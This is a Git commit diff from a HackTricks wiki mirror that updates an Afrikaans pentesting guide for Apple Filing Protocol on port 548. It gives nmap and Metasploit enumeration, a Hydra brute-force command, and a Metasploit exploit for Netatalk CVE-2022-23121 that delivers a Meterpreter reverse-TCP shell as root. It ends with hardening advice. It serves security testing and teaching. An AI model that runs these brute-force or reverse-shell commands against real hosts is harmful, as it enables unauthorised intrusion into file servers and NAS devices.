mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
24b5de159a
commit
c16b4c6171
@ -4,27 +4,109 @@
|
|||||||
|
|
||||||
## Basiese Inligting
|
## Basiese Inligting
|
||||||
|
|
||||||
Die **Apple Filing Protocol** (**AFP**), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit in die **Apple File Service** (**AFS**). Dit is ontwerp om lêerdienste te bied vir macOS en die klassieke Mac OS. AFP val op deur ondersteuning te bied vir Unicode-lêernames, POSIX en toegangbeheerlys toestemmings, hulpbronvorke, benoemde uitgebreide eienskappe, en gesofistikeerde lêerblokkeringsmeganismes. Dit was die hoofprotokol vir lêerdienste in Mac OS 9 en vroeëre weergawes.
|
Die **Apple Filing Protocol** (**AFP**), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit binne **Apple File Service** (**AFS**). Dit is ontwerp om lêerdienste vir macOS en die klassieke Mac OS te bied. AFP val op deur ondersteuning van Unicode-lêernames, POSIX-styl en ACL-toestemmings, hulpbronne-forks, benoemde uitgebreide eienskappe en gesofistikeerde lêer-slotmeganismes.
|
||||||
|
|
||||||
**Standaard Poort:** 548
|
Alhoewel AFP deur SMB in moderne macOS-uitgawes vervang is (SMB is die verstek sedert OS X 10.9), word dit steeds aangetref in:
|
||||||
|
|
||||||
|
* Erflike macOS / Mac OS 9 omgewings
|
||||||
|
* NAS-toestelle (QNAP, Synology, Western Digital, TrueNAS…) wat die oopbron **Netatalk** daemon inkorporeer
|
||||||
|
* Gemengde-OS-netwerke waar Time-Machine-over-AFP steeds geaktiveer is
|
||||||
|
|
||||||
|
**Verstek TCP Poort:** **548** (AFP oor TCP / DSI)
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
548/tcp open afp
|
548/tcp open afp
|
||||||
```
|
```
|
||||||
### **Opname**
|
---
|
||||||
|
|
||||||
Vir die opname van AFP-dienste is die volgende opdragte en skripte nuttig:
|
## Opname
|
||||||
|
|
||||||
|
### Vinning van vinnige banier / bediener inligting
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/afp/afp_server_info
|
# Metasploit auxiliary
|
||||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
use auxiliary/scanner/afp/afp_server_info
|
||||||
|
run RHOSTS=<IP>
|
||||||
|
|
||||||
|
# Nmap NSE
|
||||||
|
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||||
```
|
```
|
||||||
**Scripts en Hul Beskrywings:**
|
Nuttige AFP NSE skripte:
|
||||||
|
|
||||||
- **afp-ls**: Hierdie skrip word gebruik om die beskikbare AFP volumes en lêers te lys.
|
| Skrip | Wat dit doen |
|
||||||
- **afp-path-vuln**: Dit lys alle AFP volumes en lêers, en beklemtoon potensiële kwesbaarhede.
|
|-------|--------------|
|
||||||
- **afp-serverinfo**: Dit bied gedetailleerde inligting oor die AFP bediener.
|
| **afp-ls** | Lys beskikbare AFP volumes en lêers |
|
||||||
- **afp-showmount**: Dit lys beskikbare AFP deel en hul onderskeie ACLs.
|
| **afp-brute** | Wagwoord brute-force teen AFP aanmelding |
|
||||||
|
| **afp-serverinfo** | Dump bediener naam, masjien tipe, AFP weergawe, ondersteunde UAMs, ens. |
|
||||||
|
| **afp-showmount** | Lys gedeeltes saam met hul ACLs |
|
||||||
|
| **afp-path-vuln** | Detecteer (en kan ontgin) gids-deurdring, CVE-2010-0533 |
|
||||||
|
|
||||||
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
|
Die NSE brute-force skrip kan gekombineer word met Hydra/Medusa as meer beheer benodig word:
|
||||||
|
```bash
|
||||||
|
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||||
|
```
|
||||||
|
### Interacting with shares
|
||||||
|
|
||||||
|
*macOS*
|
||||||
|
```bash
|
||||||
|
# Finder → Go → "Connect to Server…"
|
||||||
|
# or from terminal
|
||||||
|
mkdir /Volumes/afp
|
||||||
|
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||||
|
```
|
||||||
|
*Linux* (gebruik `afpfs-ng` ‑ ingepak in die meeste distros)
|
||||||
|
```bash
|
||||||
|
apt install afpfs-ng
|
||||||
|
mkdir /mnt/afp
|
||||||
|
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||||
|
# or interactive client
|
||||||
|
afp_client <IP>
|
||||||
|
```
|
||||||
|
Sodra dit gemonteer is, onthou dat klassieke Mac hulpbronne-forks as verborge `._*` AppleDouble lêers gestoor word – hierdie hou dikwels interessante metadata wat DFIR gereedskap mis.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Algemene Kw vulnerabilities & Exploitatie
|
||||||
|
|
||||||
|
### Netatalk ongeverifieerde RCE-ketting (2022)
|
||||||
|
|
||||||
|
Verskeie NAS verskaffers het **Netatalk ≤3.1.12** gestuur. 'n Gebrek aan grensekontrole in `parse_entries()` laat 'n aanvaller toe om 'n kwaadwillige **AppleDouble** kop te vervaardig en **remote root** te verkry voor verifikasie (**CVSS 9.8 – CVE-2022-23121**). 'n Volledige skrywe deur NCC Group met PoC wat Western-Digital PR4100 exploiteer, is beskikbaar.
|
||||||
|
|
||||||
|
Metasploit (>= 6.3) verskaf die module `exploit/linux/netatalk/parse_entries` wat die payload via DSI `WRITE` lewer.
|
||||||
|
```bash
|
||||||
|
use exploit/linux/netatalk/parse_entries
|
||||||
|
set RHOSTS <IP>
|
||||||
|
set TARGET 0 # Automatic (Netatalk)
|
||||||
|
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||||
|
run
|
||||||
|
```
|
||||||
|
As die teiken 'n geraakte QNAP/Synology firmware draai, lei suksesvolle uitbuiting tot 'n shell as **root**.
|
||||||
|
|
||||||
|
### Netatalk OpenSession heap overflow (2018)
|
||||||
|
|
||||||
|
Ou Netatalk (3.0.0 - 3.1.11) is kwesbaar vir 'n out-of-bounds skrywe in die **DSI OpenSession** handler wat nie-geverifieerde kode-uitvoering toelaat (**CVE-2018-1160**). 'n Gedetailleerde ontleding en PoC is deur Tenable Research gepubliseer.
|
||||||
|
|
||||||
|
### Ander noemenswaardige probleme
|
||||||
|
|
||||||
|
* **CVE-2022-22995** – Symlink herleiding wat lei tot arbitrêre lêer skrywe / RCE wanneer AppleDouble v2 geaktiveer is (3.1.0 - 3.1.17).
|
||||||
|
* **CVE-2010-0533** – Gids traversering in Apple Mac OS X 10.6 AFP (gedetecteer deur `afp-path-vuln.nse`).
|
||||||
|
* Meerdere geheue-veilige foute is reggestel in **Netatalk 4.x (2024)** – dit word aanbeveel om op te gradeer eerder as om individuele CVE's te patch.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verdedigende Aanbevelings
|
||||||
|
|
||||||
|
1. **Deaktiveer AFP** tensy dit streng nodig is – gebruik eerder SMB3 of NFS.
|
||||||
|
2. As AFP moet bly, **opgradeer Netatalk na ≥ 3.1.18 of 4.x**, of pas verskaffer firmware toe wat die 2022/2023/2024 patches terugbring.
|
||||||
|
3. Handhaaf **Sterk UAMs** (bv. *DHX2*), deaktiveer duidelike teks en gaslogin.
|
||||||
|
4. Beperk TCP 548 tot vertroude subnetwerke en verpak AFP binne 'n VPN wanneer dit van buite blootgestel word.
|
||||||
|
5. Periodesk scan met `nmap -p 548 --script afp-*` in CI/CD om rogue / afgedateerde toestelle te vang.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||||
|
|
||||||
|
## Verwysings
|
||||||
|
|
||||||
|
* Netatalk Veiligheidsadvies CVE-2022-23121 – "Arbitrêre kode-uitvoering in parse_entries" <https://netatalk.io/security/CVE-2022-23121>
|
||||||
|
* Tenable Research – "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user